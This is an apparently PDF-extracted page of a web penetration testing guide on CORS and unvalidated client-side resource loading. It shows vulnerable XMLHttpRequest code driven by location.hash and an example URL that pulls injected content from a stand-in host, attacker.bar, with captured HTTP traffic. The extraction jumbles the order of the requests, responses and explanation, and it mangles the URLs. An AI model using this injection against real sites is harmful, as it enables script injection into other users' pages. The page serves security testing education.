4.0

196
Web Application Penetration Testing
if(req.readyState==4 && req.status==200) {
document.getElementById(“div1”).innerHTML=req.
responseText;
}
}
var resource = location.hash.substring(1);
req.open(“GET”,resource,true);
req.send();
For example, a request like this will show the contents of the
profile.php file:
http: /example.foo/main.php#profile.php
Request and response generated by this URL:
GET http: /example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;
rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http: /example.foo/main.php
Connection: keep-alive
GET http: /attacker.bar/file.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;
rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http: /example.foo/main.php
Origin: http: /example.foo
Connection: keep-alive
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
Injected Content from attacker.bar
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html
[Response Body]
Now, as there is no URL validation we can inject a remote script,
that will be injected and executed in the context of the example.
foo domain, with a URL like this:
http: /example.foo/main.php#http: /attacker.bar/file.php
Request and response generated by this URL:
Tools
• OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org
index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for
finding vulnerabilities in web applications. It is designed to be
used by people with a wide range of security experience and as
such is ideal for developers and functional testers who are new
to penetration testing. ZAP provides automated scanners as
well as a set of tools that allow you to find security vulnerabilities
manually.
References
OWASP Resources
• OWASP HTML5 Security Cheat Sheet: https://www.owasp
org/index.php/HTML5_Security_Cheat_Sheet
Whitepapers
• W3C - CORS W3C Specification: http://www.w3.org/TR/cors/